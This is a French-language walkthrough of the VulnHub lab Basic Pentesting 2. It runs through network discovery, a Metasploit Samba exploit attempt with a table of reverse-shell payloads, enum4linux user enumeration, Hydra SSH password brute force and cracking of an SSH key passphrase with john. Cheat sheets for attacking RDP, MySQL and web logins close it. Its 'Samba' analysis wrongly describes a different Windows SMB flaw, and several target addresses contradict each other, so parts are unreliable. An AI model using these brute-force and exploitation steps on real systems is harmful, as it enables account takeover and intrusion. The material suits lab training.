- Résolution des problèmes de configuration réseau empêchant l'obtention d'une adresse IP
- Collecte d'informations
- Exploitation de la vulnérabilité d'exécution de code à distance dans Samba
- Analyse de la vulnérabilité d'exécution de code à distance dans Samba
- Bruteforce de mot de passe faible SSH
- Points de connaissance supplémentaires
- Utilisation de l'outil enum4linux
- Utilisation de l'outil Hydra
Emplacement de la machine cible
download.vulnhub.com/basicpentesting/basic_pentesting_2.tar.gz
Après téléchargement, décompressez directement, importez dans la machine virtuelle VWM et configurez la carte réseau en mode NAT
- Résolution des problèmes de configuration réseau empêchant l'obtention d'une adresse IP
Problème
La cause du problème est que le fichier de configuration de la carte réseau de la machine cible utilise une carte réseau différente de celle réellement utilisée par la machine, ce qui entraîne un échec de l'obtention d'une adresse IP.
Solution
Modifier le fichier de configuration pour qu'il corresponde à la carte réseau réellement utilisée.
1. Accéder à la configuration du système en tant que root
Pour les machines qui ne parviennent pas à obtenir d'adresse IP après le démarrage, veuillez suivre la méthode suivante.
Au démarrage de la machine cible, appuyez sur e pour entrer dans le mode montré dans l'image ci-dessous
Descendez dans la liste jusqu'à la ligne Linux et ajoutez :
# rw lecture/écriture ; mode monoutilisateur ; init spécifie le processus ;
rw single init=/bin/bash
Après avoir saisi, appuyez sur Ctrl+X pour redémarrer, ce qui vous amènera à l'interface suivante
En mode root, saisissez :
# Afficher les cartes réseau
ip addr
La carte réseau actuelle est ens33, saisissez :
# Éditer la configuration du réseau nano /etc/network/interfaces
Après entrée, vous découvrez que la carte réseau dans le fichier de configuration ne correspond pas à celle actuellement utilisée, ce qui empêche la machine cible d'obtenir normalement une adresse IP.
2. Modifier le fichier de configuration
Modifier la configuration de la carte réseau (modifiez en fonction de la carte réseau réellement utilisée)
Après modification, Ctrl+o pour enregistrer, Ctrl+x pour quitter, revenir en mode root
Saisissez reboot pour redémarrer la machine, et elle pourra être utilisée normalement.
- Collecte d'informations
1. Collecte d'informations IP
Après le démarrage de la machine cible comme indiqué
Vérifions d'abord le réseau de la machine virtuelle
Le réseau est 192.168.47.1/24, la carte réseau est ens33
Utilisez la commande suivante pour écouter les adresses IP sur la carte réseau, démarrez-la avant l'activation de la machine cible, et observez les nouvelles adresses IP après activation
netdiscover -i eth0 -r 192.168.47.0/24
Avant l'activation de la machine cible, comme suit
Après activation, comme indiqué
Une nouvelle adresse IP 192.168.47.134 est découverte, supposée être l'adresse IP de la machine cible (si aucune nouvelle adresse n'est trouvée, reportez-vous à la solution en haut, causée par une configuration incorrecte de la machine cible)
Utilisez nmap pour détecter, confirmez que la machine cible est accessible depuis kali
# -sn scan ping
nmap -sn 192.168.47.1/24
Le résultat du scan est comme suit
2. Collecte d'informations système et de ports/services
Ici, nous pouvons passer à l'étape suivante, collecte d'informations système et scan de ports
nmap -O -sV 192.168.47.134
Le résultat du scan est comme suit
Le port 8080 est ouvert, ce qui indique l'existence d'un service web.
Les ports 139 et 445 sont pour le service samba, réalisant le protocole SMB/CIFS, permettant aux serveurs Linux/Unix de partager des fichiers et des imprimantes avec les systèmes Windows. Port 139/tcp : service NetBIOS traditionnel. Port 445/tcp : port SMB moderne sur IP.
Le port 8009 est pour le service AJP, un protocole binaire principalement utilisé pour connecter le serveur HTTP Apache (frontend) avec le conteneur Servlet Tomcat (backend). Il est plus efficace que HTTP. Il n'a pas de mécanisme de chiffrement et d'authentification, une fois exposé, un attaquant peut accéder directement aux applications Tomcat backend.
3. Collecte d'informations sur le service web
La collecte d'informations web comprend principalement les répertoires sensibles, les middlewares, les frameworks, les langages, les sous-domaines, etc.
Effectuons d'abord un scan de répertoires sensibles, ici nous utilisons dirmap (d'autres scanners de répertoires peuvent également être utilisés, comme Jianyu qui est très efficace)
# -i spécifie la cible ; -lcf génère un rapport ;
python .\dirmap.py -i http://192.168.47.134/ -lcf
Le résultat du scan est comme suit, vous pouvez vous intéresser au répertoire development, voyons ce qu'il contient
Deux fichiers txt sont découverts
Le contenu est comme suit
Intéressant, il semble y avoir des mots de passe faibles. Notez que le port 22 est ouvert, supposé être un mot de passe SSH faible.
Et notez que cette machine cible est utilisée par deux personnes, il doit donc exister trois utilisateurs : root, K et J, dont le compte J a un mot de passe faible.
- Exploitation de la vulnérabilité d'exécution de code à distance Samba
Il pourrait y avoir une vulnérabilité d'exécution de code à distance, vérifions.
Il y en a effectivement, une vulnérabilité de 2017, msf l'intégrera certainement, cherchons voir
search samba use exploit/multi/samba/usermap_script
# Afficher les payloads
show payloads
| Type | Nom du payload | Description | Outil/langage utilisé | Caractéristiques | |---|---|---|---|---| | Fonction spécifique | generic | Exécution de commande Unix générique | Commande personnalisée | Ne fournit pas de Shell, pour exécuter une seule commande. | | Fonction spécifique | reverse_ssh | Connexion inverse via SSH | Client SSH | Chiffrement du trafic, plus discret, peut contourner les pare-feu. | | Fonction spécifique | interact | Utilise la commande useradd pour ajouter un nouvel utilisateur | Commande useradd | Ne fournit pas de Shell, pour la maintenance des privilèges (ajout d'un compte backdoor). | | PingBack | pingback_bind | Bind Shell, ne se connecte pas, uniquement pour la découverte de cibles | netcat | Pour vérifier si l'exploitation de la vulnérabilité réussit, si la cible est en ligne. | | PingBack | pingback_reverse | Reverse Shell, ne se connecte pas, uniquement pour la découverte de cibles | netcat | Pour vérifier si l'exploitation de la vulnérabilité réussit, si la cible est en ligne. | | Bind | bind_awk | Utilise l'outil awk pour créer un Bind Shell | awk | Utilise les outils système natifs, bonne compatibilité. | | Bind | bind_busybox_telnetd | Utilise le telnetd de BusyBox pour créer un Bind Shell | BusyBox telnetd | Courant sur les équipements embarqués (routeurs, etc.). | | Bind | bind_jjs | Utilise l'outil jjs de Java pour créer un Bind Shell | Oracle Java jjs | Nécessite l'installation de Java sur la cible. | | Bind | bind_lua | Utilise l'interpréteur lua pour créer un Bind Shell | lua | Nécessite l'installation de Lua sur la cible. | | Bind | bind_netcat_gaping | Utilise l'option -e de netcat pour créer un Bind Shell | netcat (version traditionnelle) | Méthode classique, mais de nombreux systèmes netcat ne supportent pas l'option -e. | | Bind | bind_netcat_gaping_ipv6 | Comme ci-dessus, mais avec adresse IPv6 | netcat (version traditionnelle) | Pour les environnements IPv6. | | Bind | bind_perl | Utilise l'interpréteur perl pour créer un Bind Shell | perl | Taux de succès élevé, car Perl est généralement installé sur les systèmes Unix. | | Bind | bind_perl_ipv6 | Comme ci-dessus, mais avec adresse IPv6 | perl | Pour les environnements IPv6. | | Bind | bind_ruby | Utilise l'interpréteur ruby pour créer un Bind Shell | ruby | Nécessite l'installation de Ruby sur la cible. | | Bind | bind_ruby_ipv6 | Comme ci-dessus, mais avec adresse IPv6 | ruby | Pour les environnements IPv6. | | Bind | bind_socat_cdp | Utilise l'outil socat pour créer un Bind Shell | socat | Fonction puissant, mais nécessite l'installation de socat sur la cible. | | Bind | bind_zsh | Utilise le shell zsh pour créer un Bind Shell | zsh | Nécessite l'installation du shell Z sur la cible. | | Reverse | reverse_awk | Utilise l'outil awk pour créer un Reverse Shell | awk | Utilise les outils système natifs, bonne compatibilité. | | Reverse | reverse_bash_telnet_ssl | Utilise bash et telnet pour créer un Reverse Shell chiffré | bash, telnet, openssl | Chiffrement du trafic, plus discret. | | Reverse | reverse_jjs | Utilise l'outil jjs de Java pour créer un Reverse Shell | Oracle Java jjs | Nécessite l'installation de Java sur la cible. | | Reverse | reverse_ksh | Utilise le shell ksh pour créer un Reverse Shell | Korn Shell (ksh) | Nécessite l'installation du Korn Shell sur la cible. | | Reverse | reverse_lua | Utilise l'interpréteur lua pour créer un Reverse Shell | lua | Nécessite l'installation de Lua sur la cible. | | Reverse | reverse_ncat_ssl | Utilise ncat de Nmap pour créer un Reverse Shell chiffré | ncat | Chiffrement du trafic, nécessite l'installation de ncat sur la cible. | | Reverse | reverse_netcat_gaping | Utilise l'option -e de netcat pour créer un Reverse Shell | netcat (version traditionnelle) | Méthode classique, mais de nombreux systèmes netcat ne supportent pas l'option -e. | | Reverse | reverse_openssl | Utilise openssl pour créer un Reverse Shell chiffré | openssl | Chiffrement du trafic, très discret et fiable. | | Reverse | reverse_perl | Utilise l'interpréteur perl pour créer un Reverse Shell | perl | L'un des plus courants, taux de succès très élevé. | | Reverse | reverse_python | Utilise l'interpréteur python pour créer un Reverse Shell | python | L'un des plus courants, la plupart des systèmes Linux modernes l'installent. | | Reverse | reverse_python_ssl | Utilise python et la bibliothèque ssl pour créer un Reverse Shell chiffré | python, ssl | Chiffrement du trafic, très puissant et courant. | | Reverse | reverse_ruby | Utilise l'interpréteur ruby pour créer un Reverse Shell | ruby | Nécessite l'installation de Ruby sur la cible. | | Reverse | reverse_ruby_ssl | Utilise ruby et ssl pour créer un Reverse Shell chiffré | ruby, ssl | Chiffrement du trafic, nécessite l'installation de Ruby sur la cible. | | Reverse | reverse_socat_cdp | Utilise l'outil socat pour créer un Reverse Shell | socat | Fonction puissant, mais nécessite l'installation de socat sur la cible. | | Reverse | reverse_ssl_double_telnet | Utilise telnet et openssl pour créer un tunnel chiffré | telnet, openssl | Méthode de chiffrement complexe pour contourner les restrictions. | | Reverse | reverse_tclsh | Utilise l'interpréteur tclsh pour créer un Reverse Shell | tclsh | Nécessite l'installation de Tcl sur la cible. | | Reverse | reverse_zsh | Utilise le shell zsh pour créer un Reverse Shell | zsh | Nécessite l'installation du shell Z sur la cible. | Choisissons un payload pour un shell inversé, simple avec haute compatibilité
use 20
# Afficher les options
show options
Configuration des options
# Définir l'adresse de la cible
set RHOST 192.168.47.134
Si tout est correct, exécutez (run ou exploit)
L'exploitation a échoué. Pas de problème.
# Quitter msf
exit
- Analyse de la vulnérabilité d'exécution de code à distance Samba
La vulnérabilité se produit dans srv2.sys, car SMB ne gère pas correctement les paquets compressés. Lors de la décompression des paquets, il utilise la longueur transmise par le client pour décompresser sans vérifier si la longueur est valide. Cela entraîne finalement un dépassement de capacité entier.
SMB v3 prend en charge la compression des données. Si le ProtocolId dans l'en-tête SMB est 0x424D53FC, soit 0xFC, 'S', 'M', 'B', cela indique que les données sont compressées, et smb appelle alors la fonction de compression/décompression.
L'auteur n'a pas pu non plus comprendre, intéressé, allez le voir vous-même. Pour l'auteur, avoir un PoC suffit.
- Bruteforce de mot de passe faible SSH
Effectuons d'abord l'énumération de la machine cible, car nous devons trouver le compte J avec un mot de passe SSH faible, confirmer son existence et vérifier les conditions pour le bruteforce.
À partir des informations de scan de port précédentes, nous avons remarqué que la machine cible dispose d'un service samba, ce qui nous permet d'utiliser l'outil enum4linux pour effectuer des opérations d'énumération.
# Effectuer une énumération complète du service SMB sur l'adresse cible
enum4linux 192.168.47.34
Le résultat du scan est comme suit
jan est l'utilisateur cible, alors, attaque du SSH, démarrrage !!!
hydra -l jan -P password.txt -t 4 192.168.47.134 ssh
Le résultat du bruteforce est comme suit
Le mot de passe est armando
Essayez de vous connecter à distance
ssh jan@192.168.47.134
Connexion réussie, examinons d'abord quelques informations de fichiers clés. Dans home, j'ai découvert les dossiers jan et kay, dans le dossier kay, j'ai trouvé un fichier de sauvegarde de mot de passe
Mais hormis root, j'ai même pas le droit de lecture. Donc presque tous les moyens d'élévation de privilèges classiques échouent, les privilèges de cet utilisateur sont trop faibles, donc il faut absolument trouver un moyen d'abord d'élever les privilèges d'un utilisateur normal, puis d'avancer vers root. C'est-à-dire une opération d'élévation de privilèges en deux étapes, l'utilisateur le plus susceptible de servir de tremplin pour l'élévation de privilèges est l'autre utilisateur, il faut trouver un moyen de se connecter en tant que kay.
Continuons à regarder d'autres emplacements
Hmm, plusieurs importants n'ont pas de droits, mais quand j'ai relu attentivement les informations manquées, j'ai remarqué ceci
Comment se fait-il qu'il y ait un dossier ssh ici ?
Oh, c'est un fichier de clé privée, et je peux même le lire, directement.
Notez l'indice précédent, le hachage peut être facilement cassé ? Cela signifie que la clé peut être cassée pour obtenir le mot de passe, si on obtient le mot de passe, on peut se connecter directement en kay
Ouvert et c'est une clé chiffrée AES, Kali a un script intégré pour essayer de la craquer
Copiez la clé, créez un fichier key (sans extension), utilisez la commande suivante pour générer un script ssh_login.
python ssh2john.py key > ssh_login
Le script ssh2john.py est intégré dans Kali, dans le répertoire usr/share/john.
Utilisez la commande suivante pour craquer le mot de passe
john --wordlist=/usr/share/wordlists/rockyou1.txt ssh_login
Mot de passe obtenu avec succès beeswax
Puis donnez les droits au fichier key avec chmod 700 key et exécutez la commande
ssh -i key kay@192.168.61.151
Lisez ensuite les fichiers
Devrait être le mot de passe de connexion
sudo ls -all
J'ai réussi !!!
- Points de connaissance supplémentaires
1. Utilisation de l'outil enum4linux
Vous pouvez utiliser la commande suivante pour consulter le guide intégré de l'outil
enum4linux4 -h
| Option | Fonction |
|---|---|
| -U | Obtenir la liste des utilisateurs |
| -M | Obtenir la liste des machines |
| -S | Obtenir la liste des partages |
| -P | Obtenir les informations sur la stratégie de mot de passe |
| -G | Obtenir la liste des groupes et des membres |
| -d | Détaillé, applicable à -U et -S |
| -u user | Spécifier le nom d'utilisateur à utiliser (par défaut vide) |
| -p | Spécifier le mot de passe à utiliser (par défaut vide) |
| -a | Effectuer toutes les énumérations simples (-U -S -G -P -r -o -n -i), si vous ne fournissez aucune autre option, cette option est activée |
| -h | Afficher ce message d'aide et quitter |
| -r | Énumérer les utilisateurs en boucle via RID |
| -R | Plage RID à énumérer (par défaut : 500-550,1000-1050, implique -r) |
| -K | Spécifier le nombre de correspondances non correspondantes. Continuer à rechercher les RID jusqu'à ce que n RID consécutifs ne correspondent pas à un nom d'utilisateur, implique que la plage RID se termine à 999999. Utile pour les DC |
| -l | Obtenir quelques informations limitées via LDAP 389 / TCP (uniquement pour DN) |
| -s | Fichier pour deviner les noms de partages par force brute |
| -k user | Utilisateur existant sur le système distant (par défaut : administrator, guest, krbtgt, domain admins, root, bin, none) |
| -o | Obtenir des informations sur le système d'exploitation |
| -i | Obtenir des informations sur les imprimantes |
| -w | Spécifier manuellement le groupe de travail (généralement trouvé automatiquement) |
| -n | Effectuer un nmblookup (similaire à nbtstat) |
| -v | Sortie détaillée, affiche les commandes complètes en cours d'exécution (net, rpcclient, etc.) |
Remarque : combinaisons courantes
// Détection d'informations LDAP (uniquement pour DN)
enum4linux -l ip
// Obtenir des informations sur le système d'exploitation
enum4linux -o ip
// Énumérer les utilisateurs en boucle via RID
enum4linux -r ip
2. Utilisation de l'outil Hydra
Paramètres
- -l login : spécifie le nom d'utilisateur pour le craquage
- -L file : spécifie un fichier de noms d'utilisateurs
- -p pass : spécifie un mot de passe pour le craquage (rarement utilisé, généralement on utilise un dictionnaire de mots de passe)
- -P file : spécifie un fichier de dictionnaire de mots de passe
- -e ns : options supplémentaires, n : tenter un mot de passe vide, s : utiliser le compte et mot de spécifiés pour tester
- -M file : spécifie un fichier de liste d'IP cibles pour le craquage en masse
- -o file : spécifie le fichier de sortie des résultats
- -f : arrête le craquage dès la première paire nom/mot de passe trouvée
- -t tasks : nombre de threads à exécuter simultanément, par défaut 16
- -w time : définit le délai d'attente maximal, en secondes
- -v / -V : affiche le processus détaillé
- -R : reprend le craquage (si le craquage est interrompu, exécutez hydra -R /chemin/vers/hydra.restore pour reprendre la tâche)
- -x : mot de passe personnalisé. Craquage du mot de passe de connexion SSH
Craquage du mot de passe de connexion SSH
// Vérifier d'abord si ssh est démarré
service ssh restart
// Spécifier le compte kali, utiliser le fichier password.txt, avec 3 threads, craquage du ssh local
hydra -l kali -P password.txt -t 3 -e ns 127.0.0.1 ssh
Craquage à distance du mot de passe de connexion Windows RDP
hydra -l administrator -P password.txt -t 3 -e ns 192.168.0.95 rdp
Craquage du mot de passe de connexion MySQL
service mysqld restart
mysql -uroot directement Entrée
Modifier le mot de passe
ALTER USER 'root'@'localhost' IDENTIFIED BY '123456';
hydra -l root -P password.txt -t 3 -e ns localhost mysql
Craquage de la requête HTTP (IP de la cible)
hydra -t 3 -l luojie -P password.txt -s 80 192.168.0.47 http-post-form "wz/login.php:user=^USER^&pass=^PASS^:Nom d'utilisateur ou mot de passe incorrect"
hydra -t 3 -l luojie -P password.txt -s 80 192.168.209.1 http-get-form "wz/login.php:user=^USER^&pass=^PASS^:Nom d'utilisateur ou mot de passe incorrect"